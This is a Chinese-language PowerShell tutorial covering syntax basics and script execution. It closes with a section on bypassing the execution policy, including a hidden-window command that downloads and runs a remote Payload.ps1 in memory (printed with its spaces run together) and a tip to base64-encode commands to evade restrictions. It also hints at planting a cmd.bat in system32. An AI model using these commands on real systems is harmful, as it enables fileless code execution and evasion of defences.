Powershell基础学习
0x01 简介
Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。当然说这些,作为用户不关心你是什么技术,首先想知道的是你提供的是什么东西、怎么用。
PowerShell,从名字可以知道,他首先是一个shell,shell的意思就是和Linux的bash等一样、和原来的cmd一样就是在里边敲命令(可执行文件)使用;而Power就意味他是一个功能强大的shell,从面向用户而言,个人觉得其功能强大体现在以下几方面:
(1)微软态度。微软是真正的在推行PowerShell,包括Office等更多自家软件,底层都是调用PowerShell来实现。
(2)兼容性cmd。PowerShell包含原先cmd的所有命令,原先命令使用形式不变,在是在其基础上添加命令。
(3)对标Linux。PowerShell使用了Linux Shell的思想,也就是所有的系统操作、配置,都可以在shell中敲写命令实现。
(4)统一的命令格式和自包含的文档。基于前3点我们即可以说PowerShell已可与Linux Bash等一较高下,如果再加上后发优势那就可以让人相信PowerShell可以成功。
第一点是PowerShell所有命令使用统一的cmdlet命令格式(也就是“动词-名词”的格式,比如get-process)会使人很容易记住;
第二点这里所谓自包含是指你要干一件事你可以逐步找到要做的事所需的所有命令,即便你记不得命令你也可以很容易找到,你找到命令看文档就很容易知道怎么使用。
当然powershell很好但也有着其劣势:
(1)Linux和Windows系统本身定位的差异。Linux的免费稳定使其牢牢占据了服务器领域,Linux Shell命令是没有很多统一格式的因此工程师们要费很大的劲去学习,而当Linux占据工程师的大部分精力并塑造完他们的习惯后,工程师们也许并没有那么多精神和动力去学powershell。
(2)来自Windows GUI的竞争。Windows上命令能干的事GUI也都能干也许效率慢一些但普通用户可不想去黑漆漆的界面敲感觉不受控制的命令。
Linux占据了服务器工程师的日常,而Windows自身强大的GUI对普通用户有天然的亲和力,所以powershell能期望的目标用户是谁呢,Windows服务器运维工程师好像没见过专门设有这职位。
0x02 基础知识
Get-Host:获取当前powershell的版本信息
2.1 变量
变量:变量都是以$开头, 是强类型语言, 语言是大小写不敏感的
非常有必要提一下变量保护与常量的声明:
New-Variable num -Value 100 -Force -Option readonly
这样就得到一个受保护的变量$num,如果要销毁它只能通过del Variable:num -Force
删除。
如果要声明常量则用:(注意:常量一旦声明,不可修改)
New-Variable num -Value 100 -Force -Option constant
2.2 数组
数组的创建:
数组的创建可以通过下面五种方式来创建,在适当的条件下选择适当的方式创建即可
$array = 1,2,3,4,5
$array = 1..5
$array=1,"2019",([System.Guid]::NewGuid()),(get-date)
$a=@() # 空数组
$a=,"1" # 一个元素的数组
数组的访问:a[4]
数组的访问和C类似,第一位元素实用下标0来访问即$array[0],我们来看看ipconfig获取到的数据:
$ip = ipconfig
$ip[1] # 获取ipconfig第二行的数据
数组的判断:
$ip -is [array]
数组的追加:
$a += "6"
2.3 哈希表
哈希表的创建:
$stu=@{Name="test";Age="12";sex="man"}
哈希表里存数组:
$stu=@{ Name = "momaek";Age="12";sex="man";Books="kali","sqlmap","powershell" }
哈希表的更改与删除:
#更改
$Stu.Name="hahaha"
#删除
$stu.Remove("Name")
2.4 对象
在powershell中一切都可以视为对象,包罗万象New-Object可以创建一个对象Add-Member可以添加属性和方法。
foreach-object函数用法:获取所有的服务,并获取对比进程ID是否大于100:
Get-WmiObject Win32_Service | ForEach-Object {"Name:"+ $_.DisplayName, ", Is ProcessId more than 100:" + ($_.ProcessId -gt 100)}
2.5 函数
函数的定义:
function Invoke-PortScan {
<#
.SYNOPSIS
简介
.DESCRIPTION
描述
.PARAMETER StartAddress
参数
.PARAMETER EndAddress
参数
.EXAMPLE
用例
PS > Invoke-PortScan -StartAddress 192.168.0.1 -EndAddress 192.168.0.254
#>
code
}
2.6 异常处理
Try{
$connection.open()
$success = $true
}Catch{
$success = $false
}
0x03 脚本执行
windows平台中常用到的几种脚本:
3.1 Bat
全名为批处理文件,脚本中就是我们在CMD中使用到的命令。
这里提一个小知识点:
CMD的命令行执行命令的优先级是.bat > .exe,那么假如我放一个cmd.bat在system32目录下,那么优先执行的是cmd.bat,这里面的内容就变得不可描述起来了
3.2 VBscript
执行vbs就是常说的vbscript,是微软为了方便自动化管理windows而推出的脚本语言,这里了解一下即可,不是文章重点。
一个小例子通过vbs操作WMI:
Set wmi = GetObject("winmgmts:")
Set collection = wmi.ExecQuery("select * from Win32_Process")
For Each process in collection
WScript.Echo process.getObjectText_
Next
3.3 Powershell
这就是我们的主角,在现在和未来一定是powershell占据主要地位(对于这一点搞Win多一点的朋友一定不会怀疑),首先我们来看一个简单的例子:
script.ps1:
function test-conn {
Test-Connection -Count 2 -ComputerName $args
}
首先来理解一下这个函数里面的代码:
Test-Connection www.baidu.com
那么我们就知道了 -count 2 连接次数为2 然后后面的-computername www.baidu.com 为域名的参数
想要执行非系统ps脚本的话,需要用管理员权限调整一下默认的安全策略:
set-ExecutionPolicy RemoteSigned
之后再导入模块:
Import-Module .\script.ps1
最后通过调用函数运行:
test-conn www.baidu.com
0x04 绕过 PowerShell 的执行策略
#本地文件执行
powershell.exe -ExecutionPolicy bypass -File Payload.ps1
powershell.exe -exec bypass Import-Module 'C:\Payload.ps1';Invoke-AllChecks
#远程无文件执行
powershell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet.WebClient).DownloadString("http://192.168.1.1/Payload.ps1");[payload的参数] (去除方括号)
如果本地的powershell命令参数进行了限制,可以使用ps_encoder.py脚本将编码转为base64格式
0x05 参考链接
https://www.cnblogs.com/lsdb/p/9531338.html
https://www.pstips.net/powershell-define-variable.html
https://blog.csdn.net/q1352483315/article/details/100778424
https://www.t00ls.net/viewthread.php?tid=30522&extra=&highlight=powershell&page=1